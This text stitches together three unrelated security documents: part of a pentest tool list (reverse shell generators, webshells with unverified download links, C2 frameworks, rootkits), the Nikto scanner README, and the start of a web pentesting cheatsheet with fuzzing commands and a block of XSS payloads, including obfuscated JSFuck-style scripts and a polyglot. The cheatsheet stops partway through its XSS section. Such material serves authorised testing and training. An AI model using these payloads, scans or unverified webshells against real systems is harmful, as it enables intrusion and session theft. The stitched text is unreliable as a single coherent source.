[Koadic](https://github.com/zerosum0x0/koadic) - Koadic C3 COM Command & Control - JScript RAT * [Viper](https://github.com/FunnyWolf/Viper) - metasploit-framework UI manager Tools * [MSFvenom-gui](https://github.com/ssooking/msfvenom-gui) - gui tool to create normal payload by msfvenom #### Machine Learning * [DeepExploit](https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/DeepExploit) - Fully automatic penetration test tool using Machine Learning * [GyoiThon](https://github.com/gyoisamurai/GyoiThon) - GyoiThon is a growing penetration test tool using Machine Learning * [Generator](https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/Generator) - Fully automatically generate numerous injection codes for web application assessment #### Automate * [AutoSploit](https://github.com/NullArray/AutoSploit) - Automated Mass Exploiter * [WinPwn](https://github.com/SecureThisShit/WinPwn) - Automation for internal Windows Penetrationtest / AD-Security ### Sniffing & Spoofng * [WireShark](https://github.com/wireshark/wireshark) - Wireshark is a network traffic analyzer, or "sniffer", for Unix and Unix-like operating systems. * [Cain & able](http://www.oxid.it/cain.html) - Cain & Abel is a password recovery tool for Microsoft Operating Systems. ### Maintaining Access #### Shell * [Goshell](https://github.com/eze-kiel/goshell) - Generate reverse shells in command line with Go ! * [Print-My-Shell](https://github.com/sameera-madushan/Print-My-Shell) - Python script wrote to automate the process of generating various reverse shells. * [Girsh](https://github.com/nodauf/Girsh) - Automatically spawn a reverse shell fully interactive for Linux or Windows victim * [Blueshell](https://github.com/whitehatnote/BlueShell) - Generate a reverse shells for RedTeam * [Clink](http://mridgers.github.io/clink/) - Powerful Bash-style command line editing for cmd.exe #### Web Shell * [Novahot](https://github.com/chrisallenlane/novahot) - A webshell framework for penetration testers. * [Awsome-Webshells](https://github.com/abhinavprasad47/Awsome-Webshells) - Collection of reverse shells ##### PHP * [B374K](https://github.com/b374k/b374k) - PHP Webshell with handy features * [DAws](https://github.com/dotcppfile/DAws) - Advanced Web Shell * [Weevely3](https://github.com/epinna/weevely3) - Weaponized web shell ##### Chopper kind Webshell * Chopper > Tips: The tool comes from the network, no backdoor verification, please choose it on yourself...... > Link: https://pan.baidu.com/s/1VnXkoQU-srSllG6JaY0nTA Password: v71d * [AntSword](https://github.com/AntSwordProject/antSword) : [Document](https://doc.u0u.us/zh-hans/index.html) - AntSword is a cross-platform website management toolkit * [CKnife](https://github.com/Chora10/Cknife) - The cross platform webshell tool in java > Tips: The tool comes from the network, no backdoor verification, please choose it on yourself...... > Link: https://pan.baidu.com/s/1QZrnWU7DUuJhiXl7u1kELw Password: hjrh * [Altman](https://github.com/keepwn/Altman) - The cross platform webshell tool in .NET * [Behinder](https://github.com/rebeyond/Behinder) - dynamic binary encryption webshell management client * [Godzilla](https://github.com/BeichenDream/Godzilla) - a Java tool to encrypt network traffic #### Privilege Escalation Auxiliary * [windows-exploit-suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target * [Windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits) - windows-kernel-exploits * [linux-exploit-suggester-2](https://github.com/jondonas/linux-exploit-suggester-2) - Next-Generation Linux Kernel Exploit Suggester * [Linux-kernel-exploits](https://github.com/SecWiki/linux-kernel-exploits) - linux-kernel-exploits Linux * [BeRoot](https://github.com/AlessandroZ/BeRoot) - Privilege Escalation Project - Windows / Linux / Mac * [PE-Linux](https://github.com/WazeHell/PE-Linux) - Linux Privilege Escalation Tool By WazeHell * [Portia](https://github.com/SpiderLabs/portia) - Portia aims to automate a number of techniques commonly performed on internal network penetration tests after a low privileged account has been compromised. #### C2 * [DeimosC2](https://github.com/DeimosC2/DeimosC2) - DeimosC2 is a Golang command and control framework for post-exploitation. * [Sliver](https://github.com/BishopFox/sliver) - Implant framework * [PHPSploit](https://github.com/nil0x42/phpsploit) - Full-featured C2 framework which silently persists on webserver via evil PHP oneliner 😈 * [Shad0w](https://github.com/bats3c/shad0w) - A post exploitation framework designed to operate covertly on heavily monitored environments (Win8、Win10) * [Covenant](https://github.com/cobbr/Covenant) - Covenant is a collaborative .NET C2 framework for red teamers. * [Emp3r0r](https://github.com/jm33-m0/emp3r0r) - linux post-exploitation framework made by linux user ### Golang Sec Tools > Tips: Golang is a excellent cross platform language for security. * [Naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with focus on reliability and simplicity. * [ServerScan](https://github.com/Adminisme/ServerScan) - A high concurrency network scanning and service detection tool developed by golang. ### Reporting & Collaboration * [Vulnreport](https://github.com/salesforce/vulnreport) - Open-source pentesting management and automation platform by Salesforce Product Security * [Pentest-Collaboration-Framework](https://gitlab.com/invuls/pentest-projects/pcf) - Opensource, cross-platform and portable toolkit for automating routine processes when carrying out various works for testing! ### Social Engineering ### System Services ### Code Audit * [Cloc](https://github.com/AlDanial/cloc) - cloc counts blank lines, comment lines, and physical lines of source code in many programming languages * [Cobra](https://github.com/WhaleShark-Team/cobra) - Source Code Security Audit * [Cobra-W](https://github.com/LoRexxar/Cobra-W) - Cobra for white hat * [Graudit](https://github.com/wireghoul/graudit) - Grep rough audit - source code auditing tool * [Rips](https://github.com/ripsscanner/rips) - A static source code analyser for vulnerabilities in PHP scripts ### Port Forwarding & Proxies * [EarthWorm](https://github.com/rootkiter/EarthWorm) - Tool for tunnel * [Termite](https://github.com/rootkiter/Termite/) - Tool for tunnel (Version 2) * [Frp](https://github.com/fatedier/frp) - A fast reverse proxy to help you expose a local server behind a NAT or firewall to the internet * [Nps](https://github.com/ehang-io/nps/) - A lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web management terminal. * [Goproxy](https://github.com/snail007/goproxy) - A high-performance, full-featured, cross platform proxy server * [ReGeorg](https://github.com/sensepost/reGeorg) - The successor to reDuh, pwn a bastion webserver and create SOCKS proxies through the DMZ. Pivot and pwn * [Venom](https://github.com/Dliv3/Venom) - A Multi-hop Proxy for Penetration Testers * [Stowaway](https://github.com/ph4ntonn/Stowaway) - 👻 Stowaway -- Multi-hop Proxy Tool for pentesters * [rport](https://github.com/cloudradar-monitoring/rport) - Manage remote systems with ease. ### DevSecOps ### RootKit * [Beurk](https://github.com/unix-thrust/beurk) - BEURK Experimental Unix RootKit * [Bedevil](https://github.com/naworkcaj/bdvl) - LD_PRELOAD Linux rootkit (x86 & ARM) ### Audit Tools * [DevAudit](https://github.com/OSSIndex/DevAudit) - Open-source, cross-platform, multi-purpose security auditing tool ### Cyber Range #### Vulnerability application * [DVWA](https://github.com/ethicalhack3r/DVWA) - Damn Vulnerable Web Application (DVWA) * [WebGoat](https://github.com/WebGoat/WebGoat) - WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons * [DSVW](https://github.com/stamparm/DSVW) - DSVW is a deliberately vulnerable web application written in under 100 lines of code, created for educational purposes * [DVWS](https://github.com/snoopysecurity/dvws) - Damn Vulnerable Web Services is an insecure web application with multiple vulnerable web service components that can be used to learn real world web service vulnerabilities * [XVWA](https://github.com/s4n7h0/xvwa) - XVWA is a badly coded web application written in PHP/MySQL that helps security enthusiasts to learn application security * [BWAPP](http://www.mmebvba.com/sites/bwapp/index.htm) - A buggy web application whit more than 100 vulnerabilities * [Sqli-lab](https://github.com/Audi-1/sqli-labs) - SQLI labs to test error based, Blind boolean based, Time based * [HackMe-SQL-Injection-Challenges](https://github.com/breakthenet/HackMe-SQL-Injection-Challenges) - Hack your friend's online MMORPG game - specific focus, sql injection opportunities * [XSS-labs](https://github.com/paralax/xss-labs) - Small set of scripts to practice exploit XSS and CSRF vulnerabilities * [SSRF-lab](https://github.com/m6a-UdS/ssrf-lab) - Lab for exploring SSRF vulnerabilities * [SSRF_Vulnerable_Lab](https://github.com/incredibleindishell/SSRF_Vulnerable_Lab) - This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack * [LFI-labs](https://github.com/paralax/lfi-labs) - Small set of PHP scripts to practice exploiting LFI, RFI and CMD injection vulns * [Commix-testbed](https://github.com/commixproject/commix-testbed) - A collection of web pages, vulnerable to command injection flaws * [File-Upload-Lab](https://github.com/LunaM00n/File-Upload-Lab) - Damn Vulnerable File Upload V 1.1 * [Upload-labs](https://github.com/c0ny1/upload-labs) - A summary of all types of uploading vulnerabilities for you * [XXE-Lab](https://github.com/c0ny1/xxe-lab) - A XXE vulnerability Demo containing language versions such as PHP, Java, python, C#, etc #### Simulation Range * [Fopnp](https://github.com/brandon-rhodes/fopnp/tree/m/playground) - A Network Playground for 《Foundations of Python Network Programming》 * [CyberRange](https://github.com/secdevops-cuse/CyberRange) - The Open-Source AWS Cyber Range #### CTF challenges * [Vulnhub](https://www.vulnhub.com/) - VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration * [TryHackMe](https://tryhackme.com/) - TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser! * [Hackthebox](https://www.hackthebox.com/) - Hack The Box is a massive, online cybersecurity training platform, allowing individuals, companies, universities and all kinds of organizations around the world to level up their hacking skills. * [Root Me](https://www.root-me.org/) - Root Me allows everyone to test and improve their knowledge in computer security and hacking.
Сканер безопасности WEB-приложений сертифицированный по первому уровню доверия. Предназначен для Государственных корпораций. ===== Nikto web server scanner - https://cirt.net/Nikto2 Full documentation - https://github.com/sullo/nikto/wiki Run normally: ~~~ git clone https://github.com/sullo/nikto # Main script is in program/ cd nikto/program # Run using the shebang interpreter ./nikto.pl -h http://www.example.com # Run using perl (if you forget to chmod) perl nikto.pl -h http://www.example.com ~~~ Run as a Docker container: ~~~bash git clone https://github.com/sullo/nikto.git cd nikto docker build -t sullo/nikto . # Call it without arguments to display the full help docker run --rm sullo/nikto # Basic usage docker run --rm sullo/nikto -h http://www.example.com # To save the report in a specific format, mount /tmp as a volume: docker run --rm -v $(pwd):/tmp sullo/nikto -h http://www.example.com -o /tmp/out.json ~~~ Basic usage: ``` Options: -ask+ Whether to ask about submitting updates yes Ask about each (default) no Don't ask, don't send auto Don't ask, just send -Cgidirs+ Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/" -config+ Use this config file -Display+ Turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug output E Display all HTTP errors P Print progress to STDOUT S Scrub output of IPs and hostnames V Verbose output -dbcheck Check database and other key files for syntax errors -evasion+ Encoding technique: 1 Random URI encoding (non-UTF8) 2 Directory self-reference (/./) 3 Premature URL ending 4 Prepend long random string 5 Fake parameter 6 TAB as request spacer 7 Change the case of the URL 8 Use Windows directory separator (\) A Use a carriage return (0x0d) as a request spacer B Use binary value 0x0b as a request spacer -Format+ Save file (-o) format: csv Comma-separated-value htm HTML Format msf+ Log to Metasploit nbe Nessus NBE format txt Plain text xml XML Format (if not specified the format will be taken from the file extension passed to -output) -Help Extended help information -host+ Target host -IgnoreCode Ignore Codes--treat as negative responses -id+ Host authentication to use, format is id:pass or id:pass:realm -key+ Client certificate key file -list-plugins List all available plugins, perform no testing -maxtime+ Maximum testing time per host -mutate+ Guess additional file names: 1 Test all files with all root directories 2 Guess for password file names 3 Enumerate user names via Apache (/~user type requests) 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) 5 Attempt to brute force sub-domain names, assume that the host name is the parent domain 6 Attempt to guess directory names from the supplied dictionary file -mutate-options Provide information for mutates -nointeractive Disables interactive features -nolookup Disables DNS lookups -nossl Disables the use of SSL -no404 Disables nikto attempting to guess a 404 page -output+ Write output to this file ('.' for auto-name) -Pause+ Pause between tests (seconds, integer or float) -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -RSAcert+ Client certificate file -root+ Prepend root value to all requests, format is /directory -Save Save positive responses to this directory ('.' for auto-name) -ssl Force ssl mode on port -Tuning+ Scan tuning: 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection 0 File Upload a Authentication Bypass b Software Identification c Remote Source Inclusion x Reverse Tuning Options (i.e., include all except specified) -timeout+ Timeout for requests (default 10 seconds) -Userdbs Load only user databases, not the standard databases all Disable standard dbs and load only user dbs tests Disable only db_tests and load udb_tests -until Run until the specified time or duration -update Update databases and plugins from CIRT.net -useproxy Use the proxy defined in nikto.conf -Version Print plugin and database versions -vhost+ Virtual host (for Host header) + requires a value ``` License ======= Copyright (C) 2001 Chris Sullo This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License only. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
<!-- PROJECT LOGO --> <br /> <p align="center"> <img src="/img/slide1.jpg" alt="Logo" width="900" height="506"> <h3 align="center">Website Pentesting Cheatsheet</h3> </p> <b>Table of Contents</b> - [Resources](#resources) * https://www.securitydrops.com/the-web-api-authentication-guide/ * https://beeceptor.com/ * http://dnslog.cn/ * https://webhook.site/ * http://receive-sms-online.com/ * http://freesmsverification.com/ * https://hs3x.com/ * http://sms.sellaite.com/ * https://pentestbook.six2dez.com/enumeration/web/general-info * https://book.hacktricks.xyz/pentesting/pentesting-web - [Passive Recon](#passiverecon) * [Bing](#bing) * [Censys](#censys) * [DnsDumpster](#dnsdumpster) * [FindSubdomains](#findsubdomains) * [FinDomain](#findomain) * [ViewDNSinfo](#viewdnsinfo) * [DNSSPY](#dnsspy) * [SecurityTrails](#securitytrails) * [TheHarvester](#theharvester) * [ArchiveOrg](#archiveorg) * [SHODAN](#shodan) * [ALT_NAME](#alt_names) - [Initial scans](#initialscans) * [Nmap](#nmap) * [Sslscan](#sslscan) * [Testssl](#testssl) * [QualysSSL](#qualysSSL) * [SecurityHeaders](#securityheaders) * [CSP-Audit](#csp_google) * [Zone Transfer](#zone_transfer) - [Automatic Website Audit](#pentesting_auto) * [Nikto](#nikto) * [Wapiti](#wapiti) * [Nuclei](#nuclei) * [Clusterd](#clusterd) - [Manual Website Audit](#pentesting_manual) * [Burp Suite](#burp_suite) * [Dirbusting](#dirbusting) * [XSS](#xss) * [XXE](#xxe) * [XXE-OOB](#xxe-oob) * [SQL injection](#sqlinjection) * [NoSQL Injection](#nosql) * [Command Injection](#commandinjection) * [CSRF](#csrf) * [SSRF](#ssrf) * [SSTI](#ssti) * [LFI](#localfileinclusion) * [RFI](#fileinclusion) * [File Upload Bypass](#fileupload) * [Clickjacking](#clickjacking) * [Session fixation](#sessionfixation) * [Java Platform](#javaplatform) * [LDAP injection](#ldapinjection) * [Host Header Injection](#hostheaderinjection) * [Web Cache Poisoning](#webcachepoisoning) * [Open Redirect](#openredirect) * [HTTP Smuggling](#httpsmuggling) * [CORS](#cors) * [IDOR](#idor) * [SAML](#saml) * [CMS](#cms) * [CRLF](#crlf) * [WebSockets](#websockets) * [JWT](#jwt) * [GWT](#gwt) * [GraphQL](#graphql) * [MongoDB](#mongodb) * [AWS](#AWS) * [Link finder](#link_finder) - [Misc - Other tests](#misc) * [ECB Encryption](#ecbencrypt) * [WAF](#wafwoof) * [VPN](#vpn) * [API](#api) * [CAPTCHA](#captcha) * [Favicon Recon](#favup) * [Pickle RCE](#picklerick) * [.git dir found](#git) - [Extra](#extra) * [Mantra OWASP](#mantra) * [IBAN Generator](#ibangenerator) * [Privacytools](#privacytools) --- <a name="resources"></a><h2> Resources </h2> <a name="passiverecon"></a><h2> Passive Recon </h2> <a name="bing"></a><h3>Bing</h3> - Bing -> ip:79.98.28.23 <a name="censys"></a><h3>Censys</h3> - https://censys.io/ <a name="dnsdumpster"></a><h3>DnsDumpster</h3> - https://dnsdumpster.com/ <a name="findsubdomains"></a><h3>FindSubdomains</h3> - https://findsubdomains.com/ <a name="findomain"></a><h3>FinDomain</h3> - https://github.com/Edu4rdSHL/findomain <a name="viewdnsinfo"></a><h3>View DNS Info</h3> - https://viewdns.info/ - https://viewdns.info/iphistory/ <a name="dnsspy"></a><h3>DNSSpy</h3> - https://dnsspy.io <a name="securitytrails"></a><h3>SecurityTrails</h3> - https://securitytrails.com/dns-trails <a name="theharvester"></a><h3>TheHarvester</h3> ```sh theharvester -d example.com -b all ``` <a name="archiveorg"></a><h3>ArchiveOrg</h3> ```sh curl -s "http://web.archive.org/cdx/search/cdx?url=something.example.com/*&output=text&fl=original&collapse=urlkey" ``` <a name="shodan"></a><h3>SHODAN</h3> ```bash # SHODAN CLI # Shodan init shodan init API_KEY # Shodan get host info shodan host IP ``` <a name="alt_names"></a><h3>TLS/SSL Alternative Names</h3> ```bash openssl s_client -connect domainlmao.com:443 < /dev/null | openssl x509 -noout -text | grep -C3 -i dns ``` <a name="initialscans"></a><h2> Initial Scans </h2> <a name="nmap"></a><h3>Nmap</h3> ```sh - TCP: grc nmap -sC -sV -vv -p- 10.10.10.120 -T5 - UDP: grc nmap -sU -sV -vv -oA quick_udp 10.10.10.10 - VULN: grc nmap --script vuln IP ``` <a name="sslscan"></a><h3>Sslscan</h3> ```sh sslscan www.example.com ``` <a name="testssl"></a><h3>Testssl</h3> ```sh testssl www.example.com ``` <a name="qualysSSL"></a><h3>Qualys SSL Labs</h3> - https://www.ssllabs.com/ssltest/ <a name="securityheaders"></a><h3>Security Headers</h3> - https://securityheaders.com/ <a name="csp_google"></a><h3>CSP-Audit</h3> - https://csp-evaluator.withgoogle.com/ - https://csper.io/ <a name="zone_transfer"></a><h3>Zone Transfer</h3> ```bash dig axfr @xyz.domain.com xyz.domain.com ``` <a name="pentesting_auto"></a><h2> Auto Website Audit </h2> <a name="nikto"></a><h3>Nikto</h3> ```sh nikto -h www.example.com ``` ```sh # Nikto throught Burp suite vim /etc/nikto.conf -> LW_SSL_ENGINE=SSLeay nikto -h www.domain.es:443 -useproxy http://127.0.0.1:8080/ ``` <a name="wapiti"></a><h3>Wapiti</h3> ```sh pip install wapiti3 # Wapiti throught Burp suite wapiti -u https://domain/ -n 5 -b domain -p http://127.0.0.1:8080 ``` <a name="nuclei"></a><h3>Nuclei</h3> ```sh https://github.com/projectdiscovery/nuclei ``` <a name="clusterd"></a><h3>clusterd</h3> ```sh # Outdated, but good for old systems or OSCP https://github.com/hatRiot/clusterd clusterd -i URL ``` <a name="pentesting_manual"></a><h2> Manual Website Audit </h2> <a name="burp_suite"></a><h3>Burp Suite</h3> ```sh # Cool Burp plugins (Not in particular order) * https://github.com/synacktiv/HopLa * .NET Beautifier * Active Scan++ * Backslash powered scanner * CMS Scanner * Collaborator everywhere * CMI Attacker * Content type converter * CSRF Scanner * Error message checks * Exiftool scanner * Freddy * HTML5 Auditor * HTTP Request Smuggler * J2EEScan * https://github.com/silentsignal/burp-log4shell * Java deserialization scanner * java serial killer * JS link finder * JS Link finder * JSON Decoder * Json web tokens attacker * NGINX alias traversal * PHP object injection check * Reflected params * Retire.js * SAML Raider * Software vuln scanner * SSL Scanner * Upload Scanner * Web Cache deception scanner * Logger++ * JSON Web Tokens * SSRF-King * AWS Security Checks * Additional Scanner checks * Autorize - Copy the session cookie of unprivileged user - Paste it Autorize plugin in burp - Check interpect request from Repeater - Autorize ON - Browse the web with privileged/admin user - GG WP ``` <a name="dirbusting"></a><h3>Dirbusting</h3> - Wfuzz ```sh wfuzz -c --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://IP:PORT/FUZZ ``` ```sh wfuzz -c --hc=404 -z file,/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt https://IP:PORT/FUZZ ``` - ffuf ```bash # Normal directory bruteforce. ffuf -c -w /path/to/wordlist -u https://IP:PORT/FUZZ ``` ```bash ffuf -mc all -c -u http://10.10.10.168:8080/FUZZ -w /SecLists/Discovery/Web-Content/raft-large-directories.txt -e .js,.php,.bak,.txt,.asp,.aspx,.jsp,.html,.zip,.jar,.sql,.json,.old,gz,.shtml,.log,.swp,.yaml,.yml,.config,.save,.rsa,.ppk ``` ```bash -recursion -recursion-depth 4 ``` ```bash # VHOST discovery ffuf -c -w wordlist.xd -u URL -H "Host: FUZZ.url" ``` ```bash # GET param fuzzing ffuf -w /path/to/paramnames.txt -u https://target/script.php?FUZZ=test_value -fs 4242 ffuf -w /path/to/values.txt -u https://target/script.php?valid_name=FUZZ -fc 401 ``` ```bash # POST data fuzzing ffuf -w /path/to/postdata.txt -X POST -d "username=admin\&password=FUZZ" -u https://target/login.php -fc 401 ``` ```bash # Route through proxy ffuf -x socks5://IP:PORT ``` - GoBuster ```bash #Old gobuster gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 80 -a Linux -x .txt,.php ``` ```bash #New gobuster gobuster dir -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 80 -x php,txt,html,htm,bak,tmp,temp -s 200,204,301,302,307 # VHOST Discovery gobuster vhost -u hackycorp.com -w /SecLists/Discovery/DNS/subdomains-top1million-110000.txt ``` - IIS ``` # IIS ShortName Scanner https://github.com/irsdl/IIS-ShortName-Scanner java -jar iis_shortname_scanner.jar 2 20 URL # After finding semi-names try to fuzz the rest of the file names ./crunch 0 3 abcdefghijklmnopqrstuvwxyz0123456789 -o 3chars.txt ffuf -w final_crunch_wordlist.txt -D -e asp,aspx,ashx,asmx -t 1000 -c -u http://lmao/initialWordFUZZ # Can you read the web.config file? Cool. * Obtain the machineKey variable ( validationKey and decryptionKey) * VIEWSTATE → ObjectStateFormater (Insecure Deserialization) → RCE https://github.com/0xacb/viewgen # WebResource.axd: https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py # ASP - force error paths /con/ /aux/ con.aspx aux.aspx # HTTPAPI 2.0 404 Error Change Host header to correct subdomain Add to /etc/hosts Scan again including IIS Shortnames ``` ```bash # MSF use auxiliary/scanner/iis_shortname_scanner ``` - .DS_Store ``` https://github.com/lijiejie/ds_store_exp ``` <a name="xss"></a><h3>XSS</h3> ``` [DOM] -> Inject in URL [STORED] -> Saved in the server, like a database [REFLECTED] -> Returned in an error message, search result or any other response ``` ``` http://www.jsfuck.com/ ``` ```js <script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script> <script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script> <script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script> /*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e %3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E <svg onload=alert('XSS') "><script>alert(1)</script> <script>alert(document.cookie);</script> <script>alert(1)</script> pentest<marquee onstart=confirm(1)> <script>alert("hello")</script> <a onmouseover="alert(13)">xxs link</a> <img src="a.jpg" onerror="javascript:alert(1)"/> ' onerror='alert(1)'; javascript:alert(1) <body onload=alert("XSS")> <img src=x onError=alert('xss')> "><img src onerror=alert(1)> "autofocus onfocus=alert(1)// </script><script>alert(1)</script> '-alert(1)-' \'-alert(1)// \"-alert(1)}// # xss , sqli, ssti 